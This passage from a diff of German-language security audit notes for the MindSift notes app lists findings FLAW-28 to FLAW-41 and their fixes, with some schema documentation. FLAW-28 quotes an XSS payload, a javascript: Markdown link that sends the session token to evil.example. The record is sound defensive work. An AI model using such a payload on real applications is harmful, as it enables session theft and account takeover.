| `password_reset_tokens` | Links aus „Passwort vergessen?“ | `token_hash` (SHA-256), `user_id`, `created_at`, `expires_at` (1 h), `used_at` | | `password_reset_tokens` | Links aus „Passwort vergessen?“ | `token_hash` (SHA-256), `user_id`, `created_at`, `expires_at` (1 h), `used_at` |
| `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `alarm_failures` (erfolglose Alarm-Durchläufe, ab 3 aufgegeben), `sort_order`, `source` (`manual`, `voice`, `webhook` …) | | `thoughts` | Gedanken **und** Aufgaben in einer Tabelle | `status` (`inbox`/`kept`/`converted`/`discarded`), `converted_type` (`task`/`document`/`list_item`/`document_block`), `converted_ref_id`, `priority`, `is_completed`, `due_date` (`YYYY-MM-DD` ganztägig oder `YYYY-MM-DDTHH:MM`, Zeitzone des Servers), `task_list_id`, `kanban_status`, `notes`, `subtasks` (JSON), `tags` (JSON), `alarm_sent`, `alarm_failures` (erfolglose Alarm-Durchläufe, ab 3 aufgegeben), `recurrence` (`daily`/`weekly`/`monthly`/`yearly`/leer), `recurrence_spawned`, `sort_order`, `source` (`manual`, `voice`, `webhook` …) |
| `task_assignees` | Zuweisungen von Aufgaben | `task_id` (FK `thoughts`, `ON DELETE CASCADE`), `user_id`, `created_at`; nur Personen mit Zugriff auf die Liste, bereinigt durch `PruneTaskAssignees` | | `task_assignees` | Zuweisungen von Aufgaben | `task_id` (FK `thoughts`, `ON DELETE CASCADE`), `user_id`, `created_at`; nur Personen mit Zugriff auf die Liste, bereinigt durch `PruneTaskAssignees` |
| `task_lists` | Aufgabenlisten | `user_id` (Eigentümer), `title`, `icon`, `color`, `columns` (JSON, Kanban-Spalten) | | `task_lists` | Aufgabenlisten | `user_id` (Eigentümer), `title`, `icon`, `color`, `columns` (JSON, Kanban-Spalten) |
| `task_list_shares` | Freigaben von Aufgabenlisten | `target_type` (`team`/`user`), `target_id`, **`permission`** (`editor`/`viewer`, Standard `editor`) | | `task_list_shares` | Freigaben von Aufgabenlisten | `target_type` (`team`/`user`), `target_id`, **`permission`** (`editor`/`viewer`, Standard `editor`) |
@@ -76,11 +83,11 @@ teams 1─n team_members n─1 users
## Migrationen und Aufräumarbeiten beim Start ## Migrationen und Aufräumarbeiten beim Start
- Spalten/Tabellen/Indizes werden nachgezogen (`ALTER TABLE … ADD COLUMN`, Fehler werden ignoriert). - Spalten/Tabellen/Indizes werden nachgezogen (`ALTER TABLE … ADD COLUMN`, Fehler werden ignoriert).
- Veraltete Tabellen werden gelöscht: `spaces`, `space_members`, `space_team_shares`, `document_crdt_state`, `document_crdt_updates`, `document_blocks`, `doc_block_tags`. - Veraltete Tabellen werden gelöscht: `spaces`, `space_members`, `space_team_shares`, `document_crdt_state`, `document_crdt_updates`, `document_blocks`, `doc_block_tags`, `revoked_tokens`.
- `users.username` wird aus dem E-Mail-Präfix aufgefüllt. - `users.username` wird aus dem E-Mail-Präfix aufgefüllt.
- Notiz-Synchronisation (`migrateDocSync`): neue Spalten an `blocks` (inkl. `deleted_at`; vorhandene Grabsteine erhalten den Migrationszeitpunkt) und `documents` (`head_seq`, `title_version`, `log_floor`), Tabellen `doc_ops` und `doc_op_results`. Blöcke im alten flachen Format (nur `level`/`position`) werden einmalig in den Baum umgewandelt. - Notiz-Synchronisation (`migrateDocSync`): neue Spalten an `blocks` (inkl. `deleted_at`; vorhandene Grabsteine erhalten den Migrationszeitpunkt) und `documents` (`head_seq`, `title_version`, `log_floor`), Tabellen `doc_ops` und `doc_op_results`. Blöcke im alten flachen Format (nur `level`/`position`) werden einmalig in den Baum umgewandelt.
- Standardwerte in `system_settings` (`INSERT OR IGNORE`): `sharing_mode=organizations`, `allow_registration=false`, `instance_name=MindSift`, SMTP leer. - Standardwerte in `system_settings` (`INSERT OR IGNORE`): `sharing_mode=organizations`, `allow_registration=false`, `instance_name=MindSift`, SMTP leer.
- **Migrationen:** [migrations.go](../internal/storage/migrations.go) führt nummerierte Schritte genau einmal aus und vermerkt sie in `schema_migrations` (`id`, `name`, `applied_at`); `PRAGMA user_version` zeigt die höchste angewandte Nummer. Schritt 3 („Basis-Schema v0.4.1“, `migrateBaseline`) baut das komplette Schema auf und bringt ältere Datenbanken auf diesen Stand; Spalten werden nur angelegt, wenn sie fehlen. Schlägt ein Schritt fehl, bricht der Start mit der Fehlermeldung ab, statt mit halbem Schema weiterzulaufen. Neue Änderungen kommen als neuer Schritt ans Ende, alte Schritte werden nie verändert. Daten werden beim Start nie gelöscht; nur der Demo-Modus leert die Datenbank. - **Migrationen:** [migrations.go](../internal/storage/migrations.go) führt nummerierte Schritte (Migrationen 3 bis 9: 3 „Basis-Schema v0.4.1“, 4 „Sitzungen“, 5 „Medien“, 6 „Link-Vorschauen“, 7 „Benachrichtigungen“, 8 „Journal“, 9 „Web-Push“) genau einmal aus und vermerkt sie in `schema_migrations` (`id`, `name`, `applied_at`); `PRAGMA user_version` zeigt die höchste angewandte Nummer. Schritt 3 (`migrateBaseline`) baut das Basisschema auf und bringt ältere Datenbanken auf diesen Stand; Spalten werden nur angelegt, wenn sie fehlen. Schlägt ein Schritt fehl, bricht der Start mit der Fehlermeldung ab, statt mit halbem Schema weiterzulaufen. Neue Änderungen kommen als neuer Schritt ans Ende, alte Schritte werden nie verändert. Daten werden beim Start nie gelöscht; nur der Demo-Modus leert die Datenbank.
## Sicherung ## Sicherung
+30 -17
View File
@@ -10,19 +10,19 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
| ID | Bereich | Kurzbeschreibung | Schwere | | ID | Bereich | Kurzbeschreibung | Schwere |
|---|---|---|---| |---|---|---|---|
| FLAW-28 | Frontend | `javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt | Hoch | | FLAW-28 | Frontend | ~~`javascript:`-Links in Markdown (Aufgaben-Notizen) werden ausgeführt~~ | **Behoben** |
| FLAW-29 | Netzwerk | Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`) | Mittel | | FLAW-29 | Netzwerk | ~~Keine Sicherheits-Header (CSP, Clickjacking-Schutz, `nosniff`)~~ | **Behoben** |
| FLAW-30 | Konto | Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern | Mittel | | FLAW-30 | Konto | ~~Passwort und E-Mail lassen sich ohne das aktuelle Passwort ändern~~ | **Behoben** |
| FLAW-31 | Auth | Sitzungs-Token 30 Tage gültig und im `localStorage` | Mittel | | FLAW-31 | Auth | ~~Sitzungs-Token 30 Tage gültig und im `localStorage`~~ | **Teilweise behoben** |
| FLAW-32 | Daten | IDs und Einladungscodes haben nur 40 Bit Zufall | Mittel | | FLAW-32 | Daten | ~~IDs und Einladungscodes haben nur 40 Bit Zufall~~ | **Behoben** |
| FLAW-33 | Demo | Demo-Admin kann Server-Einstellungen ändern (u. a. Webhooks ins lokale Netz) | Mittel | | FLAW-33 | Demo | ~~Öffentliche Demo als Absender missbrauchbar (Alarm-Webhooks, Testmails, Server-Einstellungen)~~ | **Behoben** |
| FLAW-34 | Admin | SMTP-Passwort im Klartext an die Oberfläche, in DB und Datenbank-Backups | Niedrig | | FLAW-34 | Admin | ~~SMTP-Passwort im Klartext an die Oberfläche~~, in DB und Datenbank-Backups | **Teilweise behoben** |
| FLAW-35 | Netzwerk | Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=` | Niedrig | | FLAW-35 | Netzwerk | ~~Webhook-Ingest nimmt Sitzungs-Token und Keys auch als `?token=`~~ | **Behoben** |
| FLAW-36 | Backend | Kein allgemeines Größenlimit für JSON-Anfragen | Niedrig | | FLAW-36 | Backend | ~~Kein allgemeines Größenlimit für JSON-Anfragen~~ | **Behoben** |
| FLAW-37 | Datenschutz | Konto löschen entfernt die Server-Backups des Kontos nicht | Niedrig | | FLAW-37 | Datenschutz | ~~Konto löschen entfernt die Server-Backups des Kontos nicht~~ | **Behoben** |
| FLAW-38 | Betrieb | `WriteTimeout` von 30 s bricht große Downloads ab | Niedrig | | FLAW-38 | Betrieb | ~~`WriteTimeout` von 30 s bricht große Downloads ab~~ | **Behoben** |
| FLAW-39 | Auth | Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse | Niedrig | | FLAW-39 | Auth | ~~Kein Rate-Limit für Registrierung, Einladungscodes und „Passwort vergessen“ je Adresse~~ | **Behoben** |
| FLAW-40 | Auth | Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar | Niedrig | | FLAW-40 | Auth | ~~Einladungscode bei gleichzeitiger Nutzung zweimal einlösbar~~ | **Behoben** |
| FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig | | FLAW-41 | Qualität | Sehr große Frontend-Dateien | Niedrig |
--- ---
@@ -30,11 +30,13 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
## Details ## Details
### FLAW-28: `javascript:`-Links in Markdown ### FLAW-28: `javascript:`-Links in Markdown
- **Status: Behoben.** `safeHref` ([lib/safeUrl.ts](../frontend/src/lib/safeUrl.ts)) lässt nur `http:`, `https:` und `mailto:` zu und wird von Markdown-Anzeige, Outliner und Impressums-Links genutzt; sonst erscheint der Link als Text. Tests: `safeUrl.test.tsx`.
- **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz. - **Fundstelle:** `renderInline` in [lib/markdown.tsx](../frontend/src/lib/markdown.tsx): `[Text](URL)` wird ungeprüft zu `<a href={url}>`. Verwendet für Aufgaben-Notizen (`TaskDetailModal`) und Impressum/Datenschutz.
- **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt. - **Problem:** `[Rechnung](javascript:fetch('https://evil.example/?t='+localStorage.mindsift_jwt_token))` in den Notizen einer Aufgabe einer geteilten Aufgabenliste läuft beim Klick im Kontext der App. React 18 warnt nur, blockiert aber nicht. Weil das Sitzungs-Token im `localStorage` liegt (FLAW-31), ist das eine Kontoübernahme durch jeden Bearbeiter der Liste. Bullets im Outliner sind nicht betroffen, dort sind nur `http(s)`-Links erlaubt.
- **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29). - **Maßnahme:** Nur `http:`, `https:` und `mailto:` als `href` zulassen, alles andere als Text. Zusätzlich CSP (FLAW-29).
### FLAW-29: Keine Sicherheits-Header ### FLAW-29: Keine Sicherheits-Header
- **Status: Behoben.** [headers.go](../internal/api/headers.go) setzt CSP (`script-src 'self'`, `frame-ancestors 'none'`, `object-src 'none'`, Verbindungen nur zum eigenen Server), `X-Frame-Options: DENY`, `nosniff`, `Referrer-Policy: same-origin`, `Permissions-Policy`. Die beiden Inline-Scripts der Startseite sind in Dateien gewandert; Styles bleiben inline erlaubt (eigene Themes). Mit Chromium und WebKit durch alle Ansichten geprüft: keine CSP-Meldungen.
- **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go). - **Fundstelle:** Router in [server.go](../internal/api/server.go), Auslieferung in [cmd/server/main.go](../cmd/server/main.go).
- **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst. - **Problem:** Es gibt weder `Content-Security-Policy` noch `X-Frame-Options`/`frame-ancestors`, `X-Content-Type-Options: nosniff` oder `Referrer-Policy`. Fremde Seiten können MindSift in einen Frame laden (Clickjacking), und eingeschleustes Script (FLAW-28) wird nicht gebremst.
- **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`. - **Maßnahme:** Header-Middleware: `frame-ancestors 'none'`, `nosniff`, `Referrer-Policy: same-origin`, CSP mit `script-src 'self'` (Inline-Splash-Script per Hash erlauben) und `connect-src 'self'`.
@@ -43,56 +45,68 @@ Schweregrade: **Hoch** (Kontoübernahme oder Datenabfluss möglich), **Mittel**
- **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`). - **Fundstelle:** `handleUpdateUserSettings` in [handlers_auth.go](../internal/api/handlers_auth.go) (`PATCH /auth/settings` mit `password` bzw. `email`).
- **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`). - **Problem:** Wer eine Sitzung in die Hände bekommt (offener Rechner, gestohlenes Token), setzt ein neues Passwort oder eine neue E-Mail-Adresse und sperrt den Besitzer dauerhaft aus; über die neue Adresse funktioniert dann auch „Passwort vergessen“ für den Angreifer. Konto löschen und Daten löschen verlangen das Passwort bereits (`confirmPassword`).
- **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse. - **Maßnahme:** Für Passwort- und E-Mail-Änderung `currentPassword` verlangen (gleiche Prüfung wie `confirmPassword`), Hinweis-Mail an die alte Adresse.
- **Status: Behoben.** `PATCH /auth/settings` verlangt für `password` und `email` das aktuelle Passwort (`checkCurrentPassword`); falsche Eingaben zählen für die Login-Sperre, leere nicht. Ein neues Passwort meldet alle anderen Geräte ab. Mit SMTP geht eine Hinweismail an die bisherige Adresse. Im Profil erscheint das Feld „Aktuelles Passwort“, sobald Passwort oder E-Mail geändert werden. Tests: `TestPasswordChangeNeedsCurrentPassword`.
### FLAW-31: Langlebige Sitzung im `localStorage` ### FLAW-31: Langlebige Sitzung im `localStorage`
- **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts). - **Fundstelle:** `GenerateToken` (30 Tage) in [auth.go](../internal/auth/auth.go), `setToken` in [lib/api.ts](../frontend/src/lib/api.ts).
- **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“. - **Problem:** Jedes Script im Kontext der App kann das Token lesen (vgl. FLAW-28); ein gestohlenes Token gilt bis zu 30 Tage. Es gibt keine Übersicht der Sitzungen, nur „Alle Sitzungen beenden“.
- **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz. - **Maßnahme:** Kurzlebiges Zugriffs-Token mit Erneuerung, Sitzungsliste mit Gerät/Zeit und Einzel-Abmelden; mittelfristig HttpOnly-Cookie mit CSRF-Schutz.
- **Status: Teilweise behoben.** Serverseitige Sitzungen (`sessions`, [sessions.go](../internal/api/sessions.go)): Jedes Token gehört zu einer Sitzung, die einzeln beendet werden kann und nach 30 Tagen ohne Nutzung endet; das Token wird täglich über `X-Session-Token` erneuert. Profil → „Aktive Sitzungen“ zeigt Gerät, IP und letzte Nutzung mit Einzel-Abmelden. Ein gestohlenes Token lässt sich damit gezielt entwerten. Das Token liegt weiter im `localStorage`; HttpOnly-Cookies sind bewusst zurückgestellt (CSP aus FLAW-29 und FLAW-28 schließen den bekannten Weg). Tests: `TestSessionsListEndAndLogout`, `TestSessionTokenRenewedWhenOld`.
### FLAW-32: Nur 40 Bit Zufall in IDs ### FLAW-32: Nur 40 Bit Zufall in IDs
- **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab. - **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab.
- **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig. - **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
- **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes. - **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.
- **Status: Behoben.** `NewID` nutzt 12 Zufallsbytes, alte IDs bleiben gültig. Einladungscodes haben eigene 100 Bit in Base32 (`INV-ABCDE-FGHIJ-KLMNO-PQRST`, `newInviteCode`); bereits ausgegebene Codes funktionieren weiter.
### FLAW-33: Demo-Admin darf Server-Einstellungen ändern ### FLAW-33: Öffentliche Demo als Absender missbrauchbar
- **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)). - **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)).
- **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig. - **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
- **Maßnahme:** Im Demo-Modus Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt; private Webhook-Ziele im Demo-Modus immer gesperrt. - **Ausgehende Anfragen:** Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen.
- **Maßnahme:** Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank.
- **Status: Behoben.** Im Demo-Modus verweigern die Sender für Mail, Discord und Webhooks (`errDemoOutgoing`), der Alarm-Ticker läuft nicht. `notInDemo` ([demo.go](../internal/api/demo.go)) beantwortet mit `403` „In der Demo deaktiviert“: Test-Alarm, SMTP-Test, Server-Einstellungen speichern, Backup starten, Konten anlegen/ändern/löschen, Passwort-Reset durch Admins, „Alle Sitzungen beenden“, einzelne Geräte abmelden, eigenes Konto löschen; Passwort und E-Mail sind im Profil gesperrt. Weil sich alle Besucher die Demo-Konten teilen, zeigt die Sitzungsliste nur das eigene Gerät. Die Oberfläche zeigt die Hinweise und deaktiviert die Schalter. Test: `TestDemoSendsNothingAndKeepsAccounts`.
### FLAW-34: SMTP-Passwort im Klartext ### FLAW-34: SMTP-Passwort im Klartext
- **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`. - **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`.
- **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup. - **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
- **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank. - **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank.
- **Status: Teilweise behoben.** `GET`/`PUT /admin/settings` liefern `smtpPass` immer leer und `smtpPassSet`; ein leeres Feld behält das gespeicherte Passwort, ohne SMTP-Benutzer wird es entfernt. In der Datenbank und ihren Abzügen steht es weiter im Klartext (der Server braucht es zum Anmelden); wer das nicht will, setzt `SMTP_HOST`/`SMTP_PASS` per Umgebung und lässt die Felder im Admin-UI leer. Test: `TestSMTPPasswordNeverReturned`.
### FLAW-35: `?token=` beim Webhook-Ingest ### FLAW-35: `?token=` beim Webhook-Ingest
- **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go). - **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go).
- **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login. - **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login.
- **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin. - **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.
- **Status: Behoben.** `?token=` nimmt nur noch `mindsift_sec_…` an, sonst `401`. Test: `TestWebhookTokenInURLOnlyAPIKey`.
### FLAW-36: Kein allgemeines Größenlimit für Anfragen ### FLAW-36: Kein allgemeines Größenlimit für Anfragen
- **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset). - **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset).
- **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden. - **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
- **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync. - **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.
- **Status: Behoben.** `bodyLimit` ([bodylimit.go](../internal/api/bodylimit.go)) begrenzt jeden Anfragekörper auf 2 MB; Notiz-Sync 8 MB, Importe 101 MB. Test: `TestRequestBodyLimited`.
### FLAW-37: Server-Backups überleben das gelöschte Konto ### FLAW-37: Server-Backups überleben das gelöschte Konto
- **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users/<id>/` ([backups.go](../internal/api/backups.go)). - **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users/<id>/` ([backups.go](../internal/api/backups.go)).
- **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf. - **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
- **Maßnahme:** Beim Löschen eines Kontos `backups/users/<id>/` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen. - **Maßnahme:** Beim Löschen eines Kontos `backups/users/<id>/` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.
- **Status: Behoben.** Konto löschen (selbst oder durch Admins) entfernt `backups/users/<id>/` (`removeUserBackups`, nur dieser eine Ordner). Die Datenbank-Abzüge enthalten das Konto bis zum Ablauf der Aufbewahrung; das gehört in die Datenschutzerklärung der jeweiligen Instanz. Test: `TestDeletedAccountLosesServerBackups`.
### FLAW-38: Große Downloads brechen nach 30 s ab ### FLAW-38: Große Downloads brechen nach 30 s ab
- **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`). - **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`).
- **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht). - **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
- **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE. - **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE.
- **Status: Behoben.** `allowLongTransfer` gibt Backup-Downloads, Exporten (JSON/ZIP, Markdown-Archiv) und Import-Uploads 30 Minuten Lese- und Schreibzeit; vorher brachen auch große Importe nach 15 s Lesezeit ab.
### FLAW-39: Kein Rate-Limit außerhalb des Logins ### FLAW-39: Kein Rate-Limit außerhalb des Logins
- **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung. - **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung.
- **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst. - **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
- **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern. - **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern.
- **Status: Behoben.** `loginGuard.throttle` zählt jede Anfrage pro Adresse: Registrierung (und damit Einladungscode-Versuche) 20, „Passwort vergessen“ 10 je 15 Minuten, danach `429` mit `Retry-After`. Gilt nicht für Anfragen ohne bekannte Client-Adresse; `LOGIN_PROTECTION=false` schaltet es mit ab. Tests: `TestRegisterThrottledPerAddress`, `TestThrottleWindowAndSwitch`.
### FLAW-40: Einladungscode doppelt einlösbar ### FLAW-40: Einladungscode doppelt einlösbar
- **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`. - **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`.
- **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch. - **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
- **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht. - **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht.
- **Status: Behoben.** `ClaimUserInvite` beansprucht den Code per `UPDATE … WHERE used_by = ''` vor dem Anlegen des Kontos; scheitert das Konto (Adresse vergeben), gibt `ReleaseUserInvite` ihn wieder frei. Tests: `TestInviteCodeRedeemedOnlyOnce`, `TestInviteReleasedWhenAccountFails`.
### FLAW-41: Sehr große Frontend-Dateien ### FLAW-41: Sehr große Frontend-Dateien
